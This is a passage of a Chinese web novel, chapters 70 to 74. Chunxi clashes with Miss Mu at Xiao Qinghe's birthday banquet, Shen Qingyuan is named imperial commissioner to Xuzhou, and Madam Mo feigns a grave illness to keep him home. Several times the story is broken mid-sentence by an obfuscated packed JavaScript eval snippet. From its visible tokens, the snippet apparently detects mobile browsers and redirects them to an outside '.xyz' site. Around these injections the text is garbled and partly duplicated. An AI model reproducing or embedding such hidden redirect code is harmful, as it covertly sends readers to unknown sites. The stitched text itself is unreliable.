沈清渊熬的菜粥,粥熬得软糯香甜,菜也切得细细的,火候掌握的刚好,菜叶还是绿油油的,清香爽口。 春喜忘了自己刚刚才说不饿,一口气把粥吃完,冲沈清渊竖起大拇指:“粥很香,大人真厉害。 “你喜欢就好,沈清渊坦然接受夸奖,而后问:“昨晚回屋之后的事,你还记得吗? 春喜:“…… 我好不容易不尴尬了,大人你干嘛又提起来啊。 春喜默默收回大拇指,眼神也跟着飘忽不定,小声道:“记得呀,我划拳一直输,大人抱我回屋的。 然后亲了亲。 最后一句话春喜没好意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我只是问问,没有不喜欢。” 春喜立刻解释,生怕伤害到沈清渊的自尊心,沈清渊挑眉追问:“那就是喜欢?” 春喜:“……” 她是有什么毛病在这儿担心大人的自尊心? 第70章 抱大腿 上次在卫家说要邀请春喜做客的世家夫人回去后果然没了消息,倒是萧清禾给春喜送了张帖子,邀请春喜去参加她的生辰宴。 帖子被莫氏截住,并未送到春喜手中,直到萧清禾生辰前夕,莫氏才通知春喜要去赴宴。 “你莽撞冲动,上次把萧二小姐得罪得不轻,若非迟儿和萧二小姐关系好,这次生辰宴你根本没有资格参加,此番贾嬷嬷会陪着你们一起去赴宴,去了萧家,你莫要多言,看迟儿的眼色行事。” 莫氏言之凿凿,明明萧家送来的请贴上只有春喜的名字,在她嘴里却变成春喜是沾了沈清迟的光才得到赴宴资格的。 而且她身为沈清迟的长嫂,若处处看沈清迟的脸色行事,岂不是送上门去让人笑话? 春喜心知肚明,却没跟莫氏争辩,温温顺顺地点头:“母亲说的是,儿媳都听母亲的。” 第二日一大早,春喜和沈清迟一起出发去往萧家。 见春喜拎着食盒,沈清迟有些好奇:“嫂嫂亲自做了糕点吗?” 之前小厨房建成的庆贺宴很好吃,沈清迟现在想起来还有点儿馋呢。 “是山药薏米糕,你若喜欢,明日我再做些给你送去。” “谢谢嫂嫂。” 沈清迟弯眸笑起,贾嬷嬷却冷哼一声,不屑道:“萧二小姐身份尊贵,什么山珍海味没吃过,少夫人该不会想用这一盒糕点当生辰礼吧?” 春喜并不生气,淡声道:“嬷嬷放心,这盒糕点不是送给萧二小姐的。” 那你还带糕点做什么,萧家难道还能饿着你? 贾嬷嬷腹诽,等进了萧家,听到春喜让下人带自己去见萧老夫人,贾嬷嬷总算知道她做这盒糕点是要讨好谁了。 少夫人她好大的胆子,竟然敢冲着萧老夫人来! 贾嬷嬷眼皮一跳,不赞同道:“少夫人今日是来为萧二小姐贺生辰的,这般贸然去打扰萧老夫人,实在失礼。” “我与大人成了婚,也该唤萧老夫人一声舅母,舅母对待晚辈素来慈爱,怎么到了贾嬷嬷口中舅母就成了凶神恶煞的人?” 春喜一口一句舅母的叫着,一点儿也不见外,负责引路的下人闻言瞪了贾嬷嬷一眼。 贾嬷嬷之前被萧老夫人下令掌嘴养了好些天才好,被下人瞪得后背一凉,底气不足地反驳:“老奴只是怕少夫人打搅了萧老夫人,少夫人莫要曲解老奴的意思。” 春喜没接这话,贾嬷嬷也不敢再阻拦。 萧老夫人一直不待见莫氏,对莫氏的孩子也很冷 淡贾嬷嬷和沈清迟都不敢往萧老夫人面前凑只能先去见萧清月。 松鹤院里萧老夫人对春喜的到来有些意外:“今天是月儿的生辰你们小姑娘一起热闹热闹就好了 话是这么说萧老夫人的唇角明显是上扬的当即就吃了一块春喜送来的糕点。 虽不及五芳斋做得精美但味道很好软糯清香。 春喜笑着说:“成婚后大人跟我说了好多这些年多亏舅母照顾大人才不至于被过分欺负而且若不是舅母帮忙保留着娘的嫁妆礼单大人也没办法拿回属于自己的东西就算月儿不给我发请帖我也是要来探望舅母的。” 其实沈清渊第一次成婚时萧老夫人就提过让他要回属于自己的东西分府过日子但沈清渊不肯听她的。 这次和春喜成婚沈清渊能主动来要嫁妆单子萧老夫人就知道他对春喜是真的动了心。 今天春喜大大方方地来谢她这个舅母更让萧老夫人满意。 萧老夫人温和笑道:“你有这份心意已经很好了渊儿既然已经拿回**嫁妆你可想过以后要如何打理?” 这话问到的春喜心坎儿上春喜立刻道:“我本想先看看娘亲的陪嫁铺子这些年的账本收益再做下一步的打算但几个铺子的掌柜接到通知好几日一点儿动静都没有想来是婆母掌家多年我又太年轻他们并不信任我。” 莫氏稳坐侯府主母这么多年自然是有手段的铺子上那些掌柜并不知道侯府和萧家之间的弯弯绕绕只知道新过门的少夫人出身低微年纪又小怎可能听命于她去得罪莫氏? 萧老夫人早就猜到会是如此她沉沉道:“你婆母接手铺子这些年把铺子里的管事伙计全都换成了自己人那些人受她恩惠自然对她忠心耿耿今日你既唤我一声舅母我可让人帮你聘几个有能力又信得过的管事。” “真的吗那就太谢谢舅母了。” 春喜眉开眼笑当即起身帮萧老夫人按摩脑袋又细细说了沈清渊最近的情况等春喜离开萧老夫人竟生出两分不舍来。 近身伺候的嬷嬷忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578730|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打趣:“夫人前些日子才给沈少夫人送了两箱陪嫁沈少夫人今日一来又问老夫人要人她这么不客气老夫人还如此高兴就不怕把她胃口养大了以后填不满?” 萧老夫人笑笑:“渊儿这些年吃亏就吃在不会开口要东西她能帮渊儿要我自然高兴。” 萧清禾和萧清月感情极好今日生辰宴萧清禾也 回来参加。 春喜来到花园,就见沈清迟和贾嬷嬷站在不起眼的角落,所有人都和萧清月一起围在萧清禾身边。 萧清月第一时间发现春喜,立刻讥讽出声:“哟,还知道来啊,我还以为你要留在祖母院中,一直拍我祖母的马屁呢。” 春喜刚从萧老夫人那里得了人手,心里正高兴,连萧清月的阴阳怪气都觉得可爱。 她拿出一只玉兔挂坠递给萧清月:“好月儿,别生气,婶婶心里还是有你的,你看这是婶婶特意找人定做的挂坠,怎么样,喜欢吗?” 寻常玉兔都是可可爱爱的,春喜手里的玉兔腮帮子圆鼓鼓的,眼神也有点儿凶,还叉着腰,竟跟萧清月有两分神似。 “谁稀罕这种东西啊。” 萧清月想抢过挂坠扔掉,萧清禾先一步接过,柔柔道:“我觉得这只兔子挺可爱的,月儿,还不快谢谢婶婶。” 僵持片刻,萧清月还是道了谢,萧清禾亲自把那坠子戴在萧清月脖子上。 有萧清禾在,萧清月接下来倒是没再针对春喜,只是席间突然有人提起萧清禾回门那日发生的骚乱。 “听说那日**的是徐州的一家子,他们在徐州蒙受冤屈无法申辩,便举家来到瀚京,故意**引起朝廷的重视,朝廷正要选派钦差去徐州彻查此事呢。” “钦差?那应该是选卫大人吧,毕竟卫大人才破了一桩大案呢。” “可是卫大人才刚成婚不久,肯定舍不得跟萧姐姐分开去到那么远的地方,若是卫大人不去,能不能举荐我二叔去呀,我二叔在大理寺都三年了。” “我三叔在吏部也办过不少案子的……” 众人七嘴八舌的推荐起自家亲戚,唯有春喜闷头干饭,一言不发,过了会儿,众人的声音渐渐停歇,全都看着春喜。 片刻的迷茫后,春喜看向沈清迟和贾嬷嬷。 贾嬷嬷:“……” 第71章 为夫陪夫人一起 “沈少夫人,你看你妹妹和那个婆子做什么? 有人好奇发问。 早在春喜看过来时,贾嬷嬷就意识到不对劲,听到这话她更是头皮发麻,然而不等她阻止,“出门之前,婆母特意叮嘱我,要我看妹妹和贾嬷嬷的脸色行事,我不知道大家为什么突然看着我,只能看看她们让我如何应对。 春喜一脸柔弱,把莫氏在府里说过的话全都抖落出来,好像嫁进侯府这些日子受了婆母许多磋磨,连小姑子和管事嬷嬷都能骑到她头上。 贾嬷嬷本是在一旁候着的,听到这话连忙上前:“少夫人,你可不能乱说话啊,夫人只是怕你不懂规矩,说话之前多与小姐商量一下,可没有不许你说话。 “婆母原来是这个意思啊,那应该是我想错了。 春喜立刻改口,并不跟贾嬷嬷争辩,反倒显得这事更有蹊跷了。 贾嬷嬷:“…… 少夫人,你在家可不是这样子的! 春喜并不在意贾嬷嬷如何想,得到贾嬷嬷的“准许,她看向众人,疑惑地问:“对了,你们刚刚看我做什么? 萧清月没好气道:“大家都在举荐自家人,你只顾着吃,提都不提沈叔叔一句,你好意思吗? 春喜一脸坦然:“你们都是黄花大闺女,我倒是好意思说一些闺房趣事,你们好意思听吗? 萧清月被春喜的厚脸皮惊到,她噎了一下,大声道:“谁要听你们的闺房趣事啊,你没听到朝廷最近要选钦差大臣吗,沈叔叔在京兆府十年都不得升迁,你就不想帮他谋个机会? 接连在春喜手里吃瘪,萧清月一直憋着气呢。 祖母很看重沈叔叔,她不能闹太过,但如果春喜对沈叔叔不好,她是可以到祖母那里告状的。 萧清月等着春喜说错话好抓她的小辫子,下一刻却听到春喜夸张的声音:“原来月儿你有任命钦差大臣的权力啊,好厉害,你沈叔叔都做不到呢。 按照昭陵律例,女子是不能参加科举更不能入朝为官的,萧清月怎可能有任命钦差大臣的权力? 萧清月的脸一下子涨得通红,有与她交好的小姐立刻开口:“沈少夫人莫要强词夺理,如今最有可能被钦点的是卫大人,若卫大人舍不得新婚夫人,愿意举荐旁人一二,这不就是能为自家人争取的机会吗? 这话一出,众人纷纷附和。 管家女眷交际的意义也在于此,枕边人吹吹风,总是比其他人说话更有分量些。 春喜正要说话,又听到那 位小姐带着讥讽说:“况且,沈大人不就是喜欢捡卫大人不要的吗? 这话不仅指这桩婚事,更指春喜这个人。 众人不敢再应和,落在春喜身上的目光却变得轻蔑。 谁都看得出来,萧清月并不是真的敬重春喜这个小婶婶,她们自然也不会把她放在眼里。 席间一阵沉默。 萧清禾却肃了脸,沉声道:“穆三小姐,你失言了,快向我小婶婶道歉! 穆三小姐勾唇笑笑,正想不咸不淡地说句道歉把这件事揭过去,就被泼了一脸的茶。 茶水温热,但泼茶的人力道很大,茶水泼到脸上,像是被人狠狠扇了一巴掌。 穆三小姐惊叫一声,慌乱地站起身来,一旁伺候的丫鬟连忙上前帮她擦脸。 “曹春喜,你干什么,她可是我的朋友! 萧清月大声斥责,觉得春喜简直是目中无人。 春喜翻了个白眼,睨着萧清月:“她把你当傻子,你还把她当朋友,月儿,你可长点儿心吧。 “你胡说什么! 萧清月这下真的生气了。 她不能容忍春喜骂她傻子,更不想听春喜挑拨离间。 “月儿你好歹叫我一声小婶婶,穆三小姐却说我是别人不要的东西,这话要是传出去,谁都会觉得我跟你姐夫不清不楚,你让别人怎么想你阿姐? 果然,事关萧清禾,萧清月的脑子瞬间转了起来。 她压下怒火,面露狐疑。 穆三小姐的脸被泼得泛红,对上萧清月的视线,她眼底闪过慌乱,而后道:“沈少夫人若是心里没鬼,何必因为一句话反应这么大? 春喜毫不犹豫地反驳:“你骂我也就算了,但你把我家大人的脸面都踩到了脚下,我难道还要忍着?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578731|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧清月是见识过春喜的厉害的,但穆三小姐没有见过,她以为春喜身份低微,就算嫁给沈清渊做了续弦,在萧家也该夹着尾巴做人,所以她可以把春喜踩在脚下来讨好萧清月。 “就算我说错了话,沈少夫人也不该随便动手,我父亲可是礼部侍郎,官职在沈大人之上! 连穆三小姐这样的闺阁女子都知道,清远侯府就是个空有虚名,没有实权和根基的花架子。 沈清渊在京兆府十年都无所建树,更是平庸无为之辈。 “穆三小姐说的是,春喜赞同点头,面上丝毫不见害怕,“女不教,父之过,管教穆三小姐这种事,还得令尊来做才是。 话落,春喜起身上 前,抓着穆三小姐的胳膊就往外走。 春喜力气很大,穆三小姐根本挣脱不开,穆家两个丫鬟更是无力阻拦。 众人都没想到春喜会因为一句话找上穆家,一时愣住,最终是萧清禾先反应过来,她连忙带着丫鬟追上春喜,其他人也后知后觉的跟过来看热闹。 “小婶婶……” 萧清禾想要帮忙求情,刚开了口,却见沈清渊在下人的指引下走来。 沈清渊还穿着官服,明显是刚从署衙过来的,看到春喜后面跟了一大群小姑娘,他眉心微皱,整个人都严肃起来。 众人不由得放慢脚步,不敢靠近,春喜却不害怕,轻快地问:“大人,你怎么来了?” 那晚酒后亲亲之后,沈清渊又恢复君子之风,没再对春喜有什么亲密之举,但春喜对他还是比之前亲近了很多。 沈清渊没有回答,上下打量了春喜一番,确定她没有受伤才问:“发生什么事了?” 萧清禾想代为解释,春喜直接道:“这位穆三小姐说大人就爱捡卫凌泽不要的,我想找她爹聊聊。” “我已经道过歉了。” 穆三小姐泪眼朦胧,盼着沈清渊能怜香惜玉放她一马,下一刻却听到沈清渊说:“我陪你一起去。” 众人:“……”??? 沈大人,你要不要听听自己在说什么? 你的稳重自持、君子之风呢? 第72章 内子不通诗书,爱钱 沈清渊真的陪着春喜去了穆家。 “阿姐,你怎么不拦着他们呀。 萧清月皱着眉有些着急。 这穆三小姐毕竟是她请来的,而且平日两人关系还很不错,沈清渊和春喜就这么闹上门去,以后她还怎么跟人相处? “沈叔叔也真是的,怎么能跟着这个女人胡闹呢,不过是一句话而已,何至于大动干戈闹上门去,前面两位小婶婶也没见他这样护着啊。 萧清月嘀嘀咕咕念叨个不停,萧清禾却始终没有回应,萧清月的眉头皱得更紧:“阿姐,你怎么了? “我没事,萧清禾摇了摇头,而后道,“之前两位小婶婶都是清远侯夫人帮沈叔叔选的,如今这位才是沈叔叔自己喜欢的,沈叔叔自然要好好护着。 萧清禾的表情有些恍惚,说这话时,语气竟带着两分艳羡。 萧清月浑身一震,鼻子跟着发酸。 她的阿姐竟然在羡慕曹春喜,成婚这些日子阿姐该受了多少委屈? “阿姐, “月儿,萧清禾打断萧清月,脸上已恢复素日的从容冷静,“我没有不开心,刚刚只是有些感叹罢了,你别多想。 “可是…… “好啦,我与卫郎青梅竹马,这辈子我只想嫁与他为妻,而且婆母待我很好,我很知足。萧清月还想说些什么,下人来报:“二小姐,姑爷来接少夫人了。 萧清禾立刻露出笑容,萧清月心底的伤心立刻消散。 沈叔叔多宠曹春喜一些也挺好的,这样姐夫就能收回心思好好跟阿姐过日子了。 卫凌泽也穿着官服,是直接从宫里来的。 萧清禾一出门,卫凌泽就快步上前握住她的手,萧清禾没躲,心里却有些不自然。 自那晚她拒绝了卫凌泽,这几日卫凌泽一直都宿在书房,白日他都在忙,夜里虽然会和她一起吃饭,却也沉默不语,两人之间的气氛很僵。 可这会儿卫凌泽抓着她的手,几乎把她搂进怀里,又像是什么都没有发生过。 “月儿不是最爱热闹吗,今日她生辰,怎么瞧着一个客人都没有? 卫凌泽问得随意,好像真的只是关心萧清月今天过得开不开心,萧清禾却不可自抑地想到春喜。 卫郎他会不会是知道春喜今日会来赴宴,所以才来接她故意秀恩爱的? 心头思绪纷乱,萧清禾 面上不显,淡然开口:“是请了不少人的,但席间起了点小争执,大家就提前散了。” “什么争执,还有人敢在萧家**?” 卫凌泽追问,眸底满是兴味,并不担心萧清月的生辰宴被毁。 萧清禾的心沉了沉,垂眸道:“就是女儿家拌了几句嘴,不是什么大事。” 萧清禾明显不愿多说,卫凌泽眸子微冷,但很快恢复柔情:“前几日我忙着查回门那日**的案子,所以没时间陪你,如今朝廷已经定下钦差人选,我也有时间了,过几日我陪你去泛舟游湖,如何?” 萧清禾对泛舟游湖没什么兴趣,疑惑地问:“这么好的机会,卫郎不去吗?” 之前他对叶二的案子那样上心,谁都看得出来他有多想立功证明自己的能力。 卫凌泽勾唇,笑意融融:“你我刚成婚,我不想跟你分开,而且你不是说祖母很看重沈清渊吗,最近有不少人说我抢了他的功劳,这次我把这个机会让给他,一来可以让祖母放心,二来也可以让他大显身手,让大家看看他到底是不是怀才不遇。” 莫名的,萧清禾觉得卫凌泽最后一句话带了嘲讽。 好像沈清渊这次去查案注定会失败,还会沦为所有人的笑柄。 萧清禾掐紧掌心,忍不住提醒:“卫郎,沈叔叔也是新婚。” 说话间,两人已经上了马车。 车帘放下,车里一片昏暗,萧清禾看不太清楚卫凌泽脸上的表情,只觉得他周身的气息有些冷。 过了好一会儿,她才听到卫凌泽说:“他都成三次婚了,这算哪门子的新婚?” 每一个字,都透着尖锐的恶意。 —— 沈清渊亲自陪着春喜到穆家告状,穆大人狠狠训斥了自家女儿一番,下令禁足十日,又让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578732|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人从库房取了一套上好的文房四宝做赔礼。 这套文房四宝穆大人自己都没舍得用,但谁让沈清渊被陛下钦点做了钦差大臣呢。 沈清渊若是去徐州立下大功,回来不知有多少人要上赶着巴结呢。 穆大人正肉疼着,却听到沈清渊说:“内子不通诗书,这些东西她用不上。” 穆大人一脸茫然,春喜立刻解释:“我家大人的意思是,我爱钱,穆大人能不能按照市价兑成现银给我?” 穆大人:“……” 哪有人因为小姑娘一句话就找上门来要钱的,简直有辱斯文! 可春喜和沈清渊一个比一个神情坦荡,丝毫不以为耻。 穆大人最终还是让人 取了一千两的银票来。 他总不能腆着老脸在这儿跟沈清渊讨价还价吧? 沈清渊和春喜一走,穆夫人就和穆大人闹起来。 穆夫人怪穆大人死要面子活受罪,女儿不过是说错一句话,骂了罚了就可以了,哪里需要花一千两赔罪? 穆大人更怪穆夫人没有教好女儿,一个未出阁的姑娘,在那么多人面前议论别人的家事,跟市井人家养出来的长舌妇有什么区别? 穆夫人说不过穆大人,一腔委屈无处倾诉,当晚就回了娘家,经过穆夫人娘家几个妯娌的宣扬,不出一日,沈清渊护着新夫人跑穆家要钱的消息就传遍了大街小巷。 世家夫人都觉得春喜没见识上不得台面,有些学识的人则觉得沈清渊没有气量,心胸狭窄。 这对夫妻,真是什么锅配什么盖。 这名声并不好听,但众人都有一个共识:别去招惹那位沈少夫人,免得被讹钱。 春喜并不知道外面的**发酵,她所有的心思都在沈清渊身上:“陛下真的任命大人做钦差大臣了,那大人岂不是马上就要去徐州?” “嗯。” 沈清渊颔首,试图从春喜脸上找出不舍,下一刻却听到春喜说:“这是好事啊,我就知道大人这么厉害,肯定会得到赏识和重用的!” 沈清渊:“……” 第73章 莫氏病重 等任命书下来沈清渊马上就要起程去往徐州,好多东西都来不及准备,春喜直接带着他去置办出门要用的东西。 换洗衣物不必说,鞋袜直接备了十来双,除此之外,护膝护腕,护心镜,还有各种外伤药。 伤药是到回春堂买的,随便一瓶就要十来两银子,春喜却一点儿不嫌贵,但凡觉得有用的就买上一瓶。 一眨眼,就花掉两三百两银子。 沈清渊之前也出过远门,但莫氏从不管这些,青书也只是收拾几套换洗衣裳,没有春喜这样细致。 沈清渊心口发热,目光黏在春喜身上怎么都挪不开。 感受到他一直在看自己,春喜小声解释:“我虽然从来没有出过远门,但我爹是走镖的,每次出门我都会帮着我娘给他收拾东西,大人放心,在这方面我也算是内行。” 是很内行,内行到像是恨不得早点把他打包送得远远的。 沈清渊抿了抿唇问:“我走了你一个人应付得来吗?” “应付得来啊,大人不是都见识过了吗,嫁进侯府这些日子我不仅没吃亏,还得了许多好处呢,而且今天我去见了舅母,舅母还说要帮我找一帮可靠的掌柜把铺子都接管过来,婆母若是敢趁大人不在欺负我,我会去找舅母帮忙的。” 春喜一口一个舅母叫得亲热,沈清渊过了会儿才反应过来她说的是萧老夫人。 虽然早就知道萧老夫人是自己的生母,沈清渊却亲近不起来,她倒是会找靠山。 “要是卫凌泽找你麻烦呢?” “他要是再找我麻烦,我就想办法撺掇大侄女儿跟他和离,等后院起火,他肯定就不会没事找事了,大人你就放心去吧。” 春喜早就想好了对策,是真的不太需要他。 沈清渊难得噎住,过了会儿,无奈开口:“所以新婚燕尔,你就一点儿都不会舍不得我?” “这不是皇命难违嘛,而且大人你肯定是以公事为重,哪里会被儿女情长绊住脚步?” “我虽不会被儿女情长绊住脚步,但也有七情六欲,我希望我的夫人能多在乎我一些。” 沈清渊说着往前走了一步,灼灼的目光紧锁在春喜脸上。 春喜立刻想起了那个呼吸交缠的夜晚。 站在她面前的大人虽然和平日一样高大威严,却莫名像是在……邀宠。 春喜心尖微颤,慌乱地移开目光:“我……我当然是在乎大人的呀,但大人好不容易得到这次机会,我更希望大人能施展才能,得到陛下倚重。” “你觉得我现在的官不够大?” 沈清渊垂下眼眸,像是有些难过,春喜连忙抓住他的手说:“当然不是,我只是觉得像大人这样心怀百姓、匡扶正义的人如果坐上更高的位置,应该能做更多的好事,这是江山社稷之福,就算大人不做官,只是个布衣百姓,我还是会喜欢大人的!” 春喜说得很急,语气却很坚定。 沈清渊复又抬眸,眸底带了笑,认真地回应:“嗯,我也喜欢你。” 春喜:“……” 大人之前是不是跟她说过,他没有她想象中那么好? —— 莫氏是在临睡前收到沈清越从书院捎回来的信知道沈清渊被任命为钦差大臣的消息。 徐州的案子是个大案,涉案官员很多,若沈清渊能办好,此次回京,绝不会再继续埋没在京兆府。 沈清越交代莫氏好好给沈清渊准备行囊,最好多给一些银票细软,毕竟到了徐州到处都需要疏通打点。 莫氏看完信,气得面色铁青。 沈清渊不是在京兆府十年都没什么作为吗,陛下怎么突然想起要任命他做钦差大臣,偌大的朝廷难道没有其他人了? 要是这次沈清渊真的立了功,陛下给他升官也就罢了,这世子之位岂不是也要成为他的囊中之物? 沈清渊已经把萧氏的嫁妆都要了过去,若再得了世子之位,那她不惜自毁名声爬床嫁给那个色鬼做续弦,岂不是成了一场笑话? 越儿还要她准备银钱帮沈清渊疏通关系,休想! 第二日一大早,贾嬷嬷就要问心院说莫氏病了。 “夫人生小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578733|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候十分凶险,虽然捡回来一条命,但却落下许多病根,昨日夜里不知怎地发起高热,今日连床都下不了了,大少爷、少夫人,你们快去看看吧。” 贾嬷嬷说得有模有样,还抹了几滴眼泪。 春喜跟着沈清渊来到主院,一进院子,空气中都是发苦的药味儿。 屋里,莫氏脸色惨白地躺在床上呻吟着,像是随时就要撒手人寰,贾嬷嬷快步来到莫氏身边,急急道:“夫人,大少爷和少夫人来了,您可一定要撑住啊。” 这下更像是命不久矣了。 春喜想走近些细看,被沈清渊拉住:“母亲昨日还好好的,怎么突然就病得这样厉害,请大夫来瞧过了吗?” 沈清渊面色冷然,并无半点儿动容。 贾嬷嬷抹着泪道:“请了,请回春堂的大夫来看了,大夫说夫人这是陈年旧疾,加上这些年侯爷总是不着家,夫人郁结在心,这一病就病来如山倒,回春堂的大夫也束手无策啊。” 昭陵重孝,且长幼有序,沈清渊虽然不是莫氏的亲儿子,但身为侯府嫡长子,主母病重,按照律例,沈清渊就算不整日在家侍疾,在莫氏病重期间也不能出远门撒手不管。 春喜有些担忧地看了沈清渊一眼,沈清渊却没什么表情变化,只淡淡道:“既然回春堂的大夫治不好,那就贴出告示,重金寻找名医,总有能治好母亲的。” 话落,正好丫鬟熬好了药送进来。 沈清渊松开春喜走到莫氏床边坐下,从丫鬟手中接过药,亲自喂莫氏。 母子俩从未如此近距离过,莫氏吓了一跳,她掩唇咳了咳,虚弱地说:“你已娶妻,哪有让你亲自侍疾的道理,让阿喜来吧。” “这么多年,我从未在母亲面前尽过孝,理应我来。” 说着话,沈清渊把吹凉的药喂到莫氏嘴边。 莫氏:“……” 这个逆子该不会想趁机下药毒死她吧? 当天下午,侯府贴出了求医的告示。 夜里宫里突然派了御医登门,莫氏惊得从病床坐起瞪着沈清渊:“你怎么把御医请来了?” 第74章 夫人可随我同往 按照昭陵律例,王孙贵族,和四品以上的官员才有资格请御医看病。 清远侯的爵位早已形同虚设,沈清渊的职位不够,莫氏根本没有想到会有御医来给她看诊。但既然是宫里派来的,也不能把人轰走。 莫氏慌慌张张地拾掇一番,还没想好要如何应对,张御医就进了屋。 莫氏没办法,只能硬着头皮把手伸出去。 还是白日应付回春堂大夫的那套说辞,她感觉心跳很快,呼吸都喘不过来,脑袋也疼,像有锤子在捶,痛不欲生。 张御医仔细诊了脉,沉吟出声:“夫人的脉象虽然有些虚浮,但很有力,根本不像是重病垂危。 莫氏皱着眉,痛苦又虚弱地说:“可我的脑袋真的要疼**,呼吸也很困难,到底是什么造成的啊? “夫人的脑袋可有受过重击? “未出阁前不小心摔倒过一次,破了个口子,这算重击吗? 张御医捋着胡须思索,片刻后打开药箱,拿出针灸用的针包,长短不一的银针在莫氏眼前缓缓铺开。 屋里烛火通明,银针折射着寒光。 莫氏顿觉后背发凉:“大夫,你这是要做什么? “夫人头痛难忍,许是多年前受过重击留下的病根,我这就为夫人施针,看能不能疏通夫人脑内筋络,减轻疼痛。 张御医说着取下最长的一根银针放在烛台上烧了烧。 这么长的针扎进脑子里,就算没有病也会扎出病来吧? 莫氏的冷汗都下来了,她强撑着说:“这针这么长,扎着会很疼吧。 “是会有点疼,张御医点头,而后道,“不过和夫人现在承受的头痛来说,应该不算什么。 莫氏:“…… 可我根本不头疼啊。 银针烧红又放凉,张御医站起身准备往莫氏头上插,一片阴影投下,莫氏汗如雨下,最终在银针要扎到头上那一刻开口:“大夫,我有点儿晕针,你有没有别的治头痛的方子? 张御医顿了顿,说:“我可以先开一帖内服的方子,若是明日还不见起效,还是用银针疏通比较好。 莫氏连连点头:“好好好,先吃药,明日若是不行再施针。 等下人拿着方子抓了药熬好送来,已经是半夜三更。 莫氏喝了药很快入睡,沈清渊亲自安排张御医住下, 去客房的路上,沈清渊疑惑地问:“府里下午才贴出告示求医,宫里是如何知道这个消息的? “ 是卫大人给太子殿下送的消息,太子殿下知道后很担心大人,殿下说徐州的案子牵连甚广,希望大人能尽早前往徐州,为徐州百姓主持公道。” 张御医很得皇后信任,与太子关系也不错,太子很看重沈清渊,张御医给莫氏诊治起来自然尽心尽力。 没想到是卫凌泽给太子递的消息,沈清渊眸光微闪,片刻后对张御医说:“麻烦您转告太子殿下,微臣一定会全力以赴彻查此案,给徐州百姓一个交待,但微臣有一个不情之请,还请太子殿下恩准。” “大人请说。” —— 张御医开的方子极好,莫氏这一觉睡得极安稳,第二天醒来更是神清气爽,涂了厚厚一层脂粉才勉强让脸色苍白起来。 张御医一到,莫氏就一口一个神医地叫起来。 没办法,再不好起来,她就得被张御医扎成筛子。 张御医又给莫氏开了些培本固元和调理气血的方子,临走之前故意当着莫氏的面对沈清渊说:“徐州一案牵连甚广,既然夫人的身子没有大碍,还请沈大人早日启程前往徐州查案,不然陛下怪罪下来,整个侯府恐怕都要跟着遭殃。” 莫氏听得眼皮直跳。 之前沈清渊也去其他地方查过案子,也没见陛下这么关注,难道这桩案子还非他去查不可? 有了张御医这话,莫氏不敢再阻拦,沈清渊亲自把张御医送出门,然后回了问心院。 春喜刚好才从外面回来,一进屋就递了厚厚一沓银票给沈清渊:“我今天出门当了些东西,又去钱庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578734|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换成了银票,这些大人先拿着,到了徐州该打点就打点,别不舍得花,若是不够,可以写信给我,我再让人送钱来。” 沈清渊没接,只粗略看了看,春喜手里的银票至少有上万两:“你哪儿来这么多钱?” 